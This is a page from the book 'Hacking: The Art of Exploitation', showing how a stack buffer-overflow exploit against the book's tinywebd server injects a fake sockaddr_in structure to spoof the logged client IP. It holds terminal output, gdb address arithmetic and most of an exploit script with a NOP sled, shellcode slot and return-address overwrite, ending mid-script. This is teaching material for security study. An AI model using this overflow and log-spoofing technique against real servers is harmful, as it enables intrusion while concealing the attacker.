COUNTERMEASURES - Hacking: The Art of Exploitation - page 349

This program can be used to inject a sockaddr_in structure. The output
below shows the program being compiled and executed.
reader@hacking:~/booksrc $ gcc -o addr_struct addr_struct.c
reader@hacking:~/booksrc $ ./addr_struct 12.34.56.78 9090
##
"8N_reader@hacking:~/booksrc $
reader@hacking:~/booksrc $ ./addr_struct 12.34.56.78 9090 | hexdump -C
00000000 02 00 23 82 0c 22 38 4e 00 00 00 00 f4 5f fd b7 |.#."8N..._.|
00000010
reader@hacking:~/booksrc $
To integrate this into our exploit, the address structure is injected after
the fake request but before the NOP sled. Since the fake request is 15 bytes
long and we know the buffer starts at 0xbffff5c0 , the fake address will be
injected at 0xbfffff5cf .
reader@hacking:~/booksrc $ grep 0x xtool_tinywebd_steath.sh
RETADDR="\x24\xf6\xff\xbf" # at +100 bytes from buffer @ 0xbffff5c0
reader@hacking:~/booksrc $ gdb -q -batch -ex "p /x 0xbffff5c0 + 15"
$1 = 0xbffff5cf
r eader@hacking:~/booksrc $
Since the client_addr_ptr is passed as a second function argument, it will
be on the stack two dwords after the return address. The following exploit
script injects a fake address structure and overwrites client_addr_ptr .
xtool_tinywebd_spoof.sh
#!/bin/sh
# IP spoofing stealth exploitation tool for tinywebd
SPOOFIP="12.34.56.78"
SPOOFPORT="9090"
if [ -z "$2" ]; then # If argument 2 is blank
echo "Usage: $0 <shellcode file> <target IP>"
exit
fi
FAKEREQUEST="GET / HTTP/1.1\x00"
FR_SIZE=$(perl -e "print \"$FAKEREQUEST\"" | wc -c | cut -f1 -d ' ')
OFFSET=540
RETADDR="\x24\xf6\xff\xbf" # At +100 bytes from buffer @ 0xbffff5c0
FAKEADDR="\xcf\xf5\xff\xbf" # +15 bytes from buffer @ 0xbffff5c0
echo "target IP: $2"
SIZE=`wc -c $1 | cut -f1 -d ' '`
echo "shellcode: $1 ($SIZE bytes)"
echo "fake request: \"$FAKEREQUEST\" ($FR_SIZE bytes)"
ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16))
echo "[Fake Request $FR_SIZE] [spoof IP 16] [NOP $ALIGNED_SLED_SIZE] [shellcode $SIZE] [ret
addr 128] [*fake_addr 8]"